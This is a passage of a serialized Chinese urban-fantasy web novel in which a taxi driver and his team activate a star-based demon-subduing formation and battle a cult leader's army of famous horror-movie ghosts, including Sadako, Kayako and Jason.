“你确实给自己挑了个好坟地,风景独到,省得我们再多费手脚帮你找了。”
话音刚落,他手中那柄一直合拢的黑伞,伞尖猛地往坚硬的地面一顿!
咔哒”一声轻响,清脆而突兀,仿佛触动了某个隐藏的机括。
下一秒,异变陡生!
那柄看似普通的黑伞,竟“嘭”地一声,自行猛地打开!
然而,伞下涌出的并非遮阳的阴影,而是浓稠如墨、翻滚不休的黑烟!
这些黑烟仿佛拥有生命般,迅速在持伞男子身后凝聚、扩散,转眼间便形成了一片直径足有十米、不断扭曲蠕动、内部传出阵阵令人头皮发麻的鬼哭狼嚎之声的黑暗区域!
那区域仿佛连接着某个怨灵汇聚的恐怖巢穴,与周围午后的阳光形成了极其诡异而违和的对峙。
第239章 怪谈协会的底蕴
手持黑伞的男人,站在那片不断翻滚蠕动的浓稠黑烟之前,脸上露出了混合着残忍与得意洋洋的笑容。
那笑容扭曲了他原本还算正常的面部线条,显得格外狰狞。
“小子,你不会天真地以为,我们怪谈协会大费周章,布下这个局,仅仅是为了把你引到青山公墓那种寻常地方,再随便收拾掉吧?呵呵呵……真是天真得可爱。”
他故意顿了顿,似乎很享受这种掌控局面、慢慢揭示真相的感觉,墨镜后的目光像是在欣赏古德脸上可能出现的惊恐表情。
“看在你即将魂飞魄散的份上,告诉你实话也无妨,免得你**还是个糊涂鬼。”
他用伞尖轻轻敲击着地面,发出“笃、笃”的声响。
“我们协会的大部分精英战力,早就藏在我这把‘百鬼夜行伞’里了!就等着把你引到这处绝地,来个瓮中捉鳖,一网打尽!”
持伞男人扬起下巴,语气充满了胜券在握的傲慢:
“记住了,小子,今天送你上路的人,叫林三!到了下面,也好知道该找谁报仇!孩子们——”
林三猛地提高音量,“都出来吧!让这位不知天高地厚的出租车司机小哥,好好见识见识我们怪谈协会的热情!然后,我们一起分食了他的血肉和魂魄!”
随着林三这声充满邪气的呼唤,他身后那片区域骤然发生了剧烈的变化!
粘稠如墨的黑烟疯狂翻滚,仿佛打开了通往地狱的通道。
首先,林三脚边的地面毫无征兆地软化、下陷,化作一片不断冒着幽暗气泡,散发出浓郁河底淤泥腥臭味的漆黑泥沼。
一袭湿漉漉、不断往下滴淌着污水的蓝色袍影,缓缓从泥沼中央浮起。
她长发如同浓密的海草般遮住了大半面容,只露出一个苍白尖削的下巴,周身散发着无声无息却足以冻结灵魂的冰冷怨毒气息。
周围的温度瞬间骤降,空气中隐隐约约传来缥缈而诡异的戏腔,如泣如诉,听得人头皮发麻。
古德眉头微微一挑,心里嘀咕:“哟,这不是我们的老朋友楚人美,美姨么?这出场方式,还是这个味道。”
紧接着,一台外壳斑驳、样式老掉牙的黑白电视机,像是被一只无形的手从黑烟里“吐”了出来,“哐当”一声砸在地上,屏幕朝外,立住了。
屏幕上先是布满密集的雪花点,发出“滋啦滋啦”的噪音,闪烁了几下后,一个模糊的、穿着白色连衣裙的身影开始在雪花中扭曲、拉伸,变得清晰。
紧接着,一只毫无血色的、指甲修长的手,猛地穿透了屏幕与现实之间的壁垒,带着一股透骨的寒意和浓郁的诅咒气息,缓缓伸了出来……
这标志性的出场,不是贞子还能有谁?
然而,就在贞子还在努力往外爬的时候,那电视屏幕内部竟然又传来一阵令人牙酸、仿佛颈椎被强行扭断的“咯咯咯”骨骼摩擦声。
下一秒,一个穿着脏兮兮白色睡衣、披头散发的女人,以完全违反人体结构的、四肢反关节着地的恐怖姿态,像一只巨大的蜘蛛,手脚并用地从贞子旁边的屏幕区域里爬了出来!
古德看到这个女鬼,脸上露出一丝意外,心里吐槽:
“嗯?这不是伽椰子吗?怎么改道从贞子的电视机里爬出来了?这俩什么时候合租了一个频道?”
只见伽椰子的脖颈扭曲成一个极其诡异的角度,发出“咔吧”一声脆响,她抬起脸,空洞的眼眶里流淌着暗红色的血液,那充满了无尽憎恨的目光,死死锁定了古德。
在她脚边,一个面色惨白、眼神空洞得像两个黑窟窿的小男孩悄无声息地出现,怀里还抱着一只通体
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漆黑瞳孔泛着绿光的猫,他咧开嘴,发出“咯咯咯”的非人笑声,在鬼哭狼嚎的背景音中格外刺耳。
这还没完!
一个头发稀疏油腻、面容丑陋扭曲、穿着宽松破旧外袍的老太婆,咧着一张几乎能咧到耳根的大嘴,发出“嘎嘎”的怪笑声,像只大**一样从黑烟里蹦了出来。
好家伙,又是一个熟鬼。
古德认得这标志性的尊荣,是暹罗国那个以残忍折磨人著称的扶桑嫂!
最后,沉重的、如同巨锤砸地的“咚!咚!咚!”脚步声从黑烟深处传来。
一个身材高大魁梧得像座铁塔、脸上戴着标志性曲棍球面具、手中拖着一把沾满暗红色凝固血迹大**的巨汉,迈着沉重而充满杀意的步伐,一步步走了出来。
古德忍不住摸了摸自己的下巴:“连水晶湖的杰森都来了?我这该死的无处安放的魅力啊……”
更让人意外的是,在杰森那庞大的身影旁边,还跟着一个身形比他更加高大几分、穿着破旧黑色修女服、整张脸扭曲到无法用语言形容、仿佛集合了世间所有恐惧的鬼修女。
她脚步轻得像羽毛落地,但散发出的那种纯粹邪恶与不祥的气息,却比杰森的暴力杀意更加令人心悸。
此时,林三身后那浓稠的黑烟渐渐变淡、散去,露出了后面更加令人毛骨悚然的景象。
在那几位明星级鬼物的身后,还影影绰绰地浮现出数十上百个形态各异、但同样扭曲恐怖的灵体!
它们有的像是都市传说中裂口女的形象,有的像是无数枉死怨念聚合而成的肉块,有的则是没有固定形态的阴影……
它们共同散发出滔天的恶意和煞气,汇聚在一起,几乎将古德头顶的半边天空都染成了令人窒息的墨黑色!
真正的百鬼夜行,妖氛盖天!
第240章 天枢星,贪狼归位!
古德看着眼前这堪称经典恐怖片角色团建的壮观场面,脸上先是闪过一丝恰到好处的、符合常理的惊讶,随即这惊讶迅速化为一种“原来如此”的恍然。
他拍了拍手,忍不住感叹道:“原来如此……怪不得叫怪谈协会,还真是……名不虚传。”
古德虽然早就料到对方必有强力的后手,但也没想到竟然能凑齐这么一票在后世恐怖文化圈里都鼎鼎大名的凶煞怪物。
这些鬼物,可不是普通靠怨气形成的厉鬼能比的,个个都是有着辉煌战绩和独特**规则的难缠角色,最次的恐怕也都摸到了摄青鬼,有些是那种难以彻底消灭,只能封印或驱逐的层次。
“不过嘛……”
古德眼底非但没有惧色,反而掠过一抹精打细算的光芒,“难以彻底消灭,不代表没办法抓住或者封印……更不代表,不能卖个好价钱。”
在他眼里,这黑压压的一片,哪里是索命的恶鬼,分明是一堆堆行走的、闪闪发光的阴德点数!
是能跟岚婆换好东西的硬通货!
这一波下来,他车子的零件都可以升级了吧。
古德有些庆幸,幸好他古提前做的准备同样充分至极,不然今天还真可能因为鬼太多,抓不过来!
所以,面对这足以让任何心智正常者瞬间精神崩溃的恐怖阵容,古德非但没有流露出半分畏惧,反而嘴角微微上扬,露出了一个和善的笑容。
他清了清嗓子,对着为首的林三,以及他身后那浩浩荡荡的鬼物大军,朗声说道:
“看来,客人都到齐了,倒是省了我一个个去找的功夫。那么……”
话音未落,一直静静站在他身侧,同样面对百鬼而面不改色的阿草早已会意。
她立刻将一直小心翼翼抱在怀中的那杆造型古朴,旗面用特殊丝线绣着玄奥北斗七星图案、旗杆顶端镶嵌着一颗鸡蛋大小、散发着温润光泽的玉石的主幡,稳稳地递到了古德手中。
古德单手接过那杆沉甸甸的七星主幡,眼神一厉,体内磅礴的**之力轰然爆发!
一股强大的气息以他为中心向四周扩散,甚至短暂地冲散了扑面而来的阴森鬼气!
他单臂一挥,气沉丹田,将那杆主幡如同掷出的标枪般,狠狠地插入了脚下坚硬的混凝土地面!
“嗤——!”
旗杆尖端与地面接触,竟发出一声沉闷而奇特的异响,仿佛不是插入泥土,而是精准地钉入了这片区域大地的脉络节点之中!
“那么就请诸位……”
古德的声音陡然拔高,如同惊雷般在空中炸响,带着一股不容置疑的威严,“再死一**!”
七星主幡插入阵眼的刹那,异变骤生!
整个废弃工业区的地面猛地一震!
仿佛一头沉眠的巨兽被惊醒!
那些早已按照特定方位布置好的引星桩、那些插在地上的副旗,仿佛瞬间被注入了生命,齐齐发出了低沉而共鸣的嗡鸣声!
旗面无风自动,猎猎作响!
古德一个干净利落的鹞子翻身,身形轻灵地稳稳落在出租车的车顶。
他双手在胸前急速翻飞,结出一个复杂而古奥的手印,周身法力如同沸腾的江河般奔涌起来!
他仰头望天,目光似似乎穿透了午后尚存的天光,直视那浩瀚星空,朗声敕令:
“北斗注死,南斗注生!周天星斗,听
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吾号令!”
“天枢星,贪狼归位!为天下——破军!”
随着他这一声蕴含无上法力的敕令如同涟漪般扩散开来,远处天枢星位上,早已替换周星星在此坚守的莫作栋,眼神一凝,毫不犹豫地将自身法力注入面前那盏精心打造的青铜主灯,并用特制符纸引燃!
“噗——”
七星主灯骤然爆发出青白色的熊熊烈焰,光焰凝而不散,如同一道利剑,撕裂了此地上空浓郁的妖氛,直冲霄汉!贪狼星力,轰然降临!
“天璇星,巨门归位!镇守四方!”
“天玑星,禄存归位!福泽吾身!”
“**星,文曲归位!智慧通明!”
“玉衡星,廉贞归位!正法不阿!”
“开阳星,武曲归位!荡魔诛邪!”
“瑶光星,破军归位!扫荡群丑!”
紧接着,六声同样饱含热血怒吼,分别从不同方位传来,回应了古德的召唤!
另外六个预设的星位上,负责镇守的谢潮、周星星等人,早已将自身状态调整至巅峰,闻声立刻将全身法力毫无保留地注入各自面前的副旗之中!
“嗡——!”“嗡——!”“嗡——!”……
六道颜色各异、或璀璨或厚重、但同样蕴含着沛然星辰之力的光柱,从六个方位冲天而起,与天枢位的贪狼星光柱遥相呼应!
七道光柱在天幕之上瞬间交织、勾连,清晰地勾勒出一个巨大无比、覆盖了整个战场的北斗七星图案!
浩瀚、磅礴、精纯的周天星辰之力,如同七道银河从九天之上倒泻而下,轰然降临这片污浊之地!
整个“周天星斗伏魔大阵”,彻底激活!
第241章 人鬼大战初启
七道璀璨星辉光柱贯通天地,周天星斗伏魔大阵的基盘被瞬间激活!
然而,这仅仅是开始!
仿佛是为了响应这核心星辰的召唤,更外围的区域,四面八方突然响起了更加整齐,更加洪亮的怒吼声!
声音汇聚成一股音浪,震得残破厂房的玻璃窗嗡嗡作响,甚至连空气都泛起了涟漪。
“二十八宿,听我号令!”
那是布设在第二重阵线,由二十八名后勤部行动队精锐队员守护的四方圣兽阵位!
他们同时咬破指尖,将自身蕴含着阳刚气血的精血,猛地抹在面前那面面特制的绘有图腾的巨大旗幡之上!
“二十八宿,听我号令!东方青龙七宿,角、亢、氐、房、心、尾、箕——星力汇聚,圣兽显形,现!”
位于东方的七名队员齐声呐喊,手中青色旗幡猎猎作响,七道青色星力冲天而起,在空中交织、盘旋,最终化作一条鳞甲分明、目光如电、身躯蜿蜒的青龙虚影!
青龙仰天发出一声无声却震撼灵魂的龙吟,镇守东方,威压众生!
几乎在青龙成型的同时,西方阵位也爆发出冲天的煞气!
“西方白虎七宿,奎、娄、胃、昴、毕、觜、参——星力汇聚,圣兽显形,现!”
镇守西方的另一名小队长,怒吼声中带着金铁交鸣般的杀伐之音!
七道惨白如银、锐利如刀的星力光柱悍然升起!
一头吊睛白额、煞气冲霄、作势欲扑的庞大白虎虚影凝聚成型,虎啸之声令百鬼胆寒,镇守西方,主掌杀伐!
南方,热浪滚滚!
“南方朱雀七宿,井、鬼、柳、星、张、翼、轸——星力汇聚,圣兽显形,现!”
清脆的女声带着不容置疑的坚定,来自南方阵位的一位女队员。
七道赤红如血、燃烧着熊熊烈焰的星力光柱腾空!
光芒在空中交汇,化作一只优雅而神骏、展翅欲飞的神鸟虚影!
正是南方圣兽朱雀!
朱雀清越的鸣叫声涤荡邪氛,镇守南方,焚尽污秽!
北方,玄水涌动,厚重如山!
“北方玄武七宿,斗、牛、女、虚、危、室、壁——星力汇聚,圣兽显形,现!”
北方阵位的负责人声音沉稳,如同山岳。
七道幽蓝星力凝聚成龟蛇合体的玄武虚影,厚重如山,散发着无可撼动的防御气息,镇守北方,稳固乾坤!
青龙、白虎、朱雀、玄武!
四象圣兽的恢弘虚影,如同四根顶天立地的巨柱,分镇四方,彻底封锁了这片空间!
形成一个坚不可摧的结界壁垒,隔绝内外,让阵中之邪祟插翅难逃!
这还没完!
在最外围的第三重阵线上,六十六名后勤部的队员,虽然修为浅薄,未曾修炼出法力,但他们此刻却目光坚定,毫无惧色!
他们面前,各自插着一支手臂粗细、正在静静燃烧的特制“定神香”,香气凝而不散。
“人道永昌,正气长存!护我山河,荡尽妖邪!燃我气血,助我阵法!吼——!”
他们齐声发出怒吼,将自身那微弱却代表着生机的阳气,全力灌注到面前早已点燃的特制“定神香”之中!
“嗡——!”
六十六道细小的、却充满阳刚炽烈气息的血色光柱,从每个队员头顶百会穴升腾而起,虽不璀璨,却带着一股众志成城、人道永昌的磅礴意志!
这些血气光柱在空中汇聚成一道更加粗壮、更加凝实的纯阳血气光柱,如同支撑天地的脊梁,轰然注入上方那旋转的星斗大阵之中!
得此纯阳血气加持,原本略显虚幻、依赖星辰之力的大阵,瞬间仿佛被注入了灵魂,变得更加稳固、更加充满了一种人间正道的煌煌大势!
这第三重,不是依靠高深法力,而是凭借普通人的气血与意志,构筑起了阵法的人道根基!
它代表着此方世界生灵对邪祟的抗拒与守护!
让这座“周天星斗伏魔大阵”不再是冰冷星辰之力的具现,而是拥有了人间的温度与力量!
周天星斗伏魔大阵,此刻,才算是真正意义上,完美启动,宣告成型!
这一刻,废弃工业区的天空,被旋转的蕴含无尽玄奥的星图所笼罩,洒下亿万道清冷而威严的星辉。
地面之上,是燃烧的、代表人间正气的纯阳血气,赤红如焰。
四方虚空,是咆哮嘶鸣、散发着远古洪荒气息的四象圣兽虚影,**一切!
阵法之内,仿佛自成一方小天地!
此地的法则被强行改写,星辰之力成为主宰,阴邪之气被极度压制!
无尽的星辉如同沉重的水银,弥漫在阵法的每一个角落!
“呃啊啊啊——!”“不——!”
阵法完美成型的瞬间,怪谈协会阵营中,那些由杂散怨念、低劣都市传说汇聚而成的、实力较弱的扭曲灵体,首先遭到了毁灭性的打击!
它们如同被投入熊熊烈火的纸张,在纯净而磅礴的星辰之力照耀下,连惨叫都未能发出几声,便成片成片地化作缕缕青烟,瞬间飞灰湮灭!
原本鬼影幢幢的阵势,顷刻间便被清空了一大片!
即便是林三和他麾下那几名最强的凶煞,如楚人美、贞子、伽椰子、扶桑嫂、杰森、鬼修女等,虽然凭借自身深厚的道行和特殊的名气加持,勉强抵挡
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住了星辉血气的直接净化,但它们的动作也明显变得无比迟滞、僵硬起来!
星力枷锁混合血气**,效果显著!
林三脸上的得意和残忍早已消失不见,取而代之的是无比的震惊和一丝慌乱!
“就是现在!”
古德眼中精光爆射,他等待的就是这一刻!
周天星斗伏魔大阵完美启动,星辰之力与纯阳血气交织成天罗地网,将这群凶煞的实力压制,此消彼长,正是雷霆出击、一举定鼎的最好时机!
他左手并指如剑,体内磅礴的**之力与天空中天枢贪狼星的破军煞气瞬间产生共鸣!
指尖紫电缠绕,发出细微的噼啪声。
“五雷猛将,火车将军,腾天倒地,驱雷奔云!敕!”
轰隆——!!!
一声震耳欲聋的霹雳炸响,仿佛天穹都被撕裂!
一道水桶粗细、闪耀着刺目紫光的恐怖雷霆,如同九天雷神掷出的惩罚之矛,撕裂空气,带着毁灭一切邪祟的煌煌天威,悍然劈向手持黑伞,正在勉力星力压制的林三!
擒贼先擒王!打蛇打七寸!
古德深谙此道,这第一击,就直指对方首脑!
与此同时,古德的右手也没闲着,他虚空一抓,那柄一直静静躺在出租车后备箱的沉重青铜阔剑,仿佛被无形的丝线牵引,“嗡”地一声清鸣,自动飞入他手中!
剑一入手,古德周身气势再变!
浓郁的金光咒力瞬间爆发,同时更引动了瑶光破军星的杀戮星力!
他单身握剑,简简单单一记直劈,使出的却是《荡秽七式》中最为霸道的一招,开天!
“嗤啦——!”
一道半月形的、凝练如实质的金色剑罡,脱离剑锋,迎风便长,瞬间化作数米之长,所过之处,连空气都被切割开来,发出尖锐的厉啸,目标直指那正迈着沉重步伐、试图冲过来的巨汉杰森!
这一剑,要将这西方传说中的不死怪物,连同它那身蛮力与诅咒,一分为二!
面对古德这突如其来的凌厉双杀,怪谈协会的凶煞们又惊又怒!
它们没想到对方在维持如此庞大阵法的情况下,竟然还能爆发出如此强悍的个人战力!
“吼啊~!”
楚人美发出一声尖锐刺耳的鬼啸,周身阴寒水汽大盛,瞬间分化出七八个与它本体几乎一模一样的鬼影分身!
这些分身携带着浓郁的怨毒气息,如同没有实体的鬼魅,从不同方向、以各种扭曲诡异的姿态,无声无息地扑向古德,试图干扰他,为林三争取喘息之机。
“你的对手是我。”
一个懒洋洋的声音从战场的侧翼传来。
第242章 打团开始了
话音未落,一根缠绕着淡淡赤色红芒与银色星光的硬木长棍,如同被巨**射出,“嗖”地破空飞来,“咚”地一声闷响,深深插入楚人美前方不远处的坚硬地面,棍尾兀自剧烈震颤不休!
长棍插地的瞬间,一股混合了神道香火愿力与周天星力的伏魔气息轰然扩散,如同无形的屏障,瞬间将楚人美那几个扑向古德的水汽分身震得溃散开来,化作缕缕黑烟消失。
紧接着,一道身影疾驰而至,动作迅捷如猎豹,正是周星星!
他此刻换上了一身贴身的黑色特战服,勾勒出精悍的线条,周身隐隐有微弱的星辰之力流转,显然也受到了大阵的加持。
他一边跑,嘴里念着他的请神咒:“如果非要在这份爱上加一个期限,我希望是……一万年。”
下一瞬,异变陡生!
只见周星星周身开始肉眼可见地缠绕起红白相间的光芒,更有一股桀骜不驯、带着野性与自由气息的赤红神力,如同苏醒的火山,从他体内弥漫而出!
那红色神力特别活跃,在他身后飘荡鼓动,凝聚不散,远远看去,还真有几分像齐天大圣那标志性的赭黄袍披风!
随着他与那座神秘齐天大圣神像的沟通日益加深,能借用的神力也越发可观,而这“请神”上身时显现的外在特征,也越发接近传说中孙大圣的本来面貌。
他一个箭步冲到插地的长棍前,单手握住棍身,那根看似普通的硬木长棍在他手中竟发出欢快般的嗡鸣,棍身表面甚至浮现出类似传说中“如意金箍棒”的云纹印记,神异非常!
他棍指楚人美,脸上带着标志性的玩世不恭的表情,朗声道:“兀那水鬼,休得猖狂!吃俺老周……啊不对,吃你周爷爷一棒!”
楚人美似乎被这半文不白、不伦不类的挑衅彻底激怒,厉啸一声,周身浓郁的水汽瞬间凝结成无数支冰冷刺骨、泛着幽蓝寒光的冰棱水箭,铺天盖地、如同疾风骤雨般射向周星星!
周星星哈哈一笑,毫无惧色,反而战意更盛!
他手腕一抖,手中长棍舞动开来,霎时间棍影重重,仿佛有千万条棍影在他周身旋转飞舞!
棍风呼啸,裹挟着大圣神力与周天星力,形成一道密不透风的防御圈!
那些激射而来的冰棱水箭撞在棍影之上,纷纷如同撞上铁壁,被震得粉碎、蒸发成道道白气!
而他脚步不停,反而趁势向前猛踏一步,主动朝着楚人美的本体冲去!
一时间,棍影与水箭交织,神力共鬼气翻腾,这一人一鬼战作一团!
另一边,伽椰子、贞子、扶桑嫂,以及那个散发着不祥气息的鬼修女等一众凶煞,眼见古德被林三正狼狈地挥舞黑伞抵挡不断劈落的紫色狂雷。
和硬抗了一记开天剑罡,胸前留下深可见骨的伤痕,行动明显迟缓杰森暂时牵制。
虽然说是牵制有些勉强。
但是也给了它们有机可乘的机会,它们纷纷发出尖锐刺耳的鬼啸,裹挟着浓郁的怨气与煞气,如同闻到血腥味的鲨鱼,从不同方向朝着阵眼核心的古德扑来,企图以多欺少,一举奠定胜局!
“阿弥陀佛!各位施主,苦海无边,回头是岸!你们的对手,是我们!爱你一万年!”
一声佛号响起,语调庄重,但结尾那句莫名熟悉的台词,却给这肃杀场面添上了一丝难以言喻的诙谐。
只见谢潮越众而出,他此刻宝相庄严,眉宇间带着悲悯,周身隐隐有纯净的金色佛光流转,显然已成功请动那位风格独特的三葬法师。
更离谱的是,他手中那根古德特制的打鬼棒,在澎湃佛光与周天星力的双重加持下,形态竟然发生了诡异的变化。
前端赫然幻化出一挺六管旋转的加特林**的虚影!
没错,就是那种转管**,那冰冷的金属质感,旋转的**,与佛门祥和之光形成了强烈反差,极具视觉冲击力。
“哒哒哒哒哒——!”
谢潮没有犹豫,扣动“**”,那加特林虚影的枪口顿时喷吐出的不是金属弹头,而是密密麻麻、如同暴雨倾盆般的金色光弹!
每一颗光弹都蕴含着精纯的佛力与凌厉的星力,汇聚成一道炽热耀眼的金属风暴,带着净化邪祟的威严,铺天盖地地扫向那群冲来的都市怪谈鬼物!
首当其冲的是那个以裂口闻名的裂口女,她刚张开满是利齿的巨口,还没来得及发出恐吓,就被这金色的弹幕洪流瞬间淹没!
身体如同被高速**击中般,剧烈颤抖着,瞬间被打得千疮百孔,身上布满了真正的燃烧着金色火焰的裂口,连惨叫都只发出半声,便在一阵嗤嗤作响的黑烟中,彻底化作飞灰,魂飞魄散!
于子朗那边的画风则截然不同。
“有请玉树临风的太白金星。”
于子朗已经可以做到面色平静念出。
话音落下,他身影一晃,仿佛融入了风中,变得飘忽不定。
手
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中那柄特制的刃身闪烁着清冷青色星光的短刃,划出道道肉眼难以捕捉的青色流光,精准地对上了以诡异速度和残忍手法著称的扶桑嫂。
扶桑嫂的速度极快,移动时带起道道残影,枯瘦的利爪带着腥风,专掏人心肺。
但于子朗的身法更快,更灵动。
他仿佛能预判到扶桑嫂的每一个动作,脚下步法玄妙,总是能在间不容发之际避开攻击。
手中短刃如同穿花蝴蝶,每一次挥动都带起一抹清冷的青色弧光。
“嗤!嗤!嗤!”
青光闪烁间,扶桑嫂那宽大的衣袍上不断添加新的伤口。
每一道伤口都不深,但伤口边缘都闪烁着顽固的星光,不断侵蚀着她的鬼体,阻止着阴气的愈合。
扶桑嫂气得吱哇乱叫,面容越发扭曲丑陋,攻势越发疯狂,却连于子朗的衣角都摸不到,反而在自己狂躁的攻击中,被于子朗寻隙又添了几道星痕。
贞子原本悄无声息地缩在一处残破的墙角阴影里,周身散发着令人极度不适的冰冷怨念和精神污染波动。
她最拿手的精神攻击和诅咒正在暗中积蓄,惨白的瞳孔死死盯着古德,准备给予致命一击。
然而,她还没出手,就感觉到一股让她有些战栗的气息锁定了自己。
高彦博静立在她前方不远处。
他依旧是一身简洁的黑色作战服,手持那柄煞气内敛的钟馗宝剑,脸上带着惯有的学者般的温和与儒雅,甚至还对贞子微微点了点头。
“你的对手是我。”
高彦博语气平静得跟贞子打了个招呼。
也不见他结印念咒,只是心念一动,周身突然冒出浓稠如墨、却又纯净无比的黑色光芒!
这黑光并非邪恶,而是至阴至纯的玄阴之气,其中又夹杂着点点璀璨的周天星力,使得这黑光带上了一种**邪祟的煌煌正气!
这黑光对于贞子这类依靠怨念、恐惧和精神污染存在的恶灵而言,简直如同正午的烈日之于冰雪!
那是位格上的绝对克制!
贞子那惨白的瞳孔剧烈收缩,脸上第一次露出了极度惊恐和难以置信的神色!
她蓄势待发的精神攻击如同撞上了一堵无形的布满尖刺的铁壁,不仅瞬间溃散,那反噬的力量更是让她发出无声的哀嚎,魂体都一阵模糊晃动!
她本能地想要后退,躲回电视机的诅咒空间,却发现自己被那黑光牢牢锁定,连移动都变得异常困难!
第243章 混乱又有序的战斗
最后是气息最为诡异强大的鬼修女那边。
马季、郑立和得仔三人,呈品字形将她围在中间,每个人的表情都凝重到了极点。
这鬼修女散发出的阴冷、堕落和不祥气息,远比前面的伽椰子、贞子都要强上一大截,仿佛来自某个更深层更绝望的深渊。
今天的马季换了装备,他背上多了一把造型古朴的长弓,弓身刻满了暗红色的符文,腰间的箭壶里插满了特制的破邪箭,箭簇寒光闪闪,同样铭刻着符文。
他眼神紧紧锁定着鬼修女,寻找着一击必杀的机会。
郑立担任三人小队主坦和指挥,他紧握着那条特制打鬼鞭,面色凝重,低声道:
“我先上,正面牵制。小马你游走骚扰,找机会放箭。得仔,你看准时机,侧翼策应,自保为主!”
说完,他深吸一口气,手中长鞭一抖,发出“啪”的一声清脆破空响,鞭梢隐隐有电光流转,他沉声喝道:“有请国师助我伏魔!”
一道若有若无的紫色电光从他身上一闪而过,给那条黑色的打鬼鞭镀上了一层诡异而强大的紫芒,鞭身仿佛活了过来,如同一条蓄势待发的毒蛇。
得仔毕竟是新人,虽然经历了特训,但面对如此恐怖的鬼物,还是紧张得手心冒汗,他紧紧握着一根和谢潮、周星星同款的打鬼棒,咽了口唾沫。
听到郑立的安排,他往前凑了半步,深吸一口气,像是给自己打气般,清了清嗓子,下意识地念叨:“曾经有一份真挚的爱情摆在我面前……呸呸呸!搞错了,重来!”
他尴尬地挠了挠头,重新憋足气,大声喊道:“师傅!我来助你了!我也……我也爱你一万年!”
这话从他嘴里说出来特别别扭,但他自己倒是脸不红心不跳。
下一秒,他身上也缠绕起几缕稀薄的红光,手里的打鬼棒开始变形,最后变成了一根带着科技感的金属棍子,棍头还闪烁着金光,看起来比郑立的鞭子时髦多了。
那一直静立不动,仿佛一尊恐怖雕像的鬼修女,覆盖在头罩下的头颅,突然以一个极其扭曲的完全违反人体结构的角度,猛地歪了近乎九十度。
那双隐藏在阴影下的没有瞳孔的眼睛,锁定了一行人中气息最弱的得仔。
下一秒,它毫无征兆地消失了!
“小心!”郑立惊呼。
得仔只觉眼前一花,一股阴冷到极致的寒气扑面而来!
他甚至连鬼修女的身影都没看清!
“我靠!”
得仔只来得及凭借训练出的本能,将手中那根闪着金光的棍子往身侧一挡!
“砰!”
一声闷响!
得仔感觉像是被一辆卡车撞中,整个人不受控制地倒飞出去,重重摔在地上,喉头一甜,差点吐血。
鬼修女的实力和速度,完全超乎了得仔的想象!
他这才刚学会请神没多久,虽然请的也是大圣的神力。
但是不像周星星那么循环渐进上来。
在这等级别的战斗里,简直就像是误入王者局的永恒钻石,差距太大了!
好在郑立的反应快到了极致!
几乎在得仔被击飞的瞬间,他手中的打鬼鞭已然如同拥有了生命的紫色灵蛇,带着尖锐的破空声和闪烁的电光,狠狠地抽向鬼修女刚刚现身的位置!
与此同时,马季弓如满月,箭似流星,一支蕴含着破邪符文的箭矢带着凄厉的尖啸,直射鬼修女的头颅!
鬼修女发出一声低沉沙哑、仿佛来自地狱深处的冷笑,身影再次模糊,以一种近乎瞬移的速度,险之又险地避开了鞭梢和箭矢。
它出现在了另一侧,那双黑洞般的眼睛,再次扫向挣扎着想要爬起来的得仔,带着毫不掩饰的恶意。
整个废弃工业区,战斗在瞬间进入了白热化!
佛光普照,星力纵横,鬼啸连连,刀光剑影,符箓飞舞!
每一处都在爆发着激烈的对抗!
而战场的最中心,古德的目光冰冷
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,他看着在刚刚勉强接下他几记连环雷法,衣衫多处焦黑破损,气息有些紊乱的林三。
以及那个胸前有着狰狞剑伤,行动迟缓却依旧散发着不死执念的杰森身上。
他缓缓抬起手中的青铜阔剑,剑身金光与星力交织,发出轻微的嗡鸣,剑尖遥指二魔,声音不高,却清晰地压过了所有的战斗杂音,带着最终审判般的冷漠:
“热身结束。现在,该送你们上路了。”
古德深吸一口气,周身金光大盛,空中的星图仿佛活了过来,源源不断地向他输送着力量。
他手中的青铜阔剑嗡鸣不止,剑身上似乎有七星图案逐一亮起,与天际的北斗七星遥相呼应,剑意凛然。
就在古德蓄势待发的同时,战场其他区域的战斗也进入了白热化的阶段,呈现出截然不同的画风。
周星星和楚人美那边的战况,堪称全场最热闹也最花哨的。
周星星将那根越来越像山寨版金箍棒的长棍舞得泼水不进,棍影层层叠叠,呼啸生风。
他嘴里还不闲着,时不时蹦出一两句:“妖怪,吃俺老周一棒!”“打你个桃花开!”
楚人美作为老牌凶煞,自然不甘示弱。
它周身那阴寒水汽被催动到极致,时而凝聚成无数冰棱利箭,如同疾风骤雨般射向周星星。
时而又化作几条如同拥有生命的、滑腻冰冷的黑色水触手,从诡异的角度缠绕、抽打,试图限制周星星的行动。
污水滴落在地,发出“滋滋”的腐蚀声。
“嘿!花样还挺多!”
周星星怪叫一声,一个灵巧的鹞子翻身,险险避过几道贴面而过的水箭,手中长棍借着翻身的力道顺势劈下,棍风凌厉,直接将楚人美刚刚凝聚出来、试图从背后偷袭的一个水分身打得爆散开来,化作一滩腥臭的黑水。
“还有多少,尽管使出来!”
他越战越勇,身上那赤红的神力与银白的星力交织,气势不断攀升。
第244章 人道渺渺,仙道莽莽
另一边,谢潮所在的区域则是另一番景象,充满了某种物理超度的奇异和谐感。
他稳稳地端着那挺由佛光和星力幻化而成的金色加特林**,面容肃穆,宝相庄严。
口中念诵着“阿弥陀佛,苦海无边,回头是岸,就让本佛爷送各位施主早登极乐吧”之类的佛偈。
但扣着“**”的手指却稳如磐石,没有丝毫颤抖。
“哒哒哒哒哒——!”
密集的金色光弹形成一道毁灭性的洪流,如同金属风暴般席卷着他前方那群由各种都市传说汇聚而成的鬼物。
什么厕所里的花子、裂口女、穿着红雨衣的怪影……
这些在普通人看来恐怖无比的存在,在这绝对的火力压制下,根本不堪一击。
光弹所过之处,鬼物们哭爹喊娘,魂体如同被烈阳照射的冰雪般迅速消融,化作缕缕青烟。
在星力加持下,谢潮仿佛化身成为一座移动的净化炮台,所向披靡。
于子朗那边的战斗就显得优雅多了。
他的身法灵动如风,脚步变幻莫测,总是在扶桑嫂那快如鬼魅专掏心窝的利爪即将及体的瞬间,以毫厘之差轻巧避开,动作行云流水,仿佛早已预判了对方的所有攻击路线。
而他手中那柄青色短刃,则如同暗夜中伺机而动的毒蛇,每一次出击都快、准、狠,在空中划出道道清冷致命的流光。
“唉,何必如此执着于人世间的怨恨呢?”
于子朗甚至还有余暇叹了口气,语气带着一丝惋惜。
他侧身让过扶桑嫂一次疯狂的扑击,短刃顺势在她干瘦的背脊上划出一道长长的、闪烁着星光的伤口,伤口处黑气嗤嗤作响,难以愈合。
“放下执念,安安分分去投胎转世,开始新生,不好吗?”
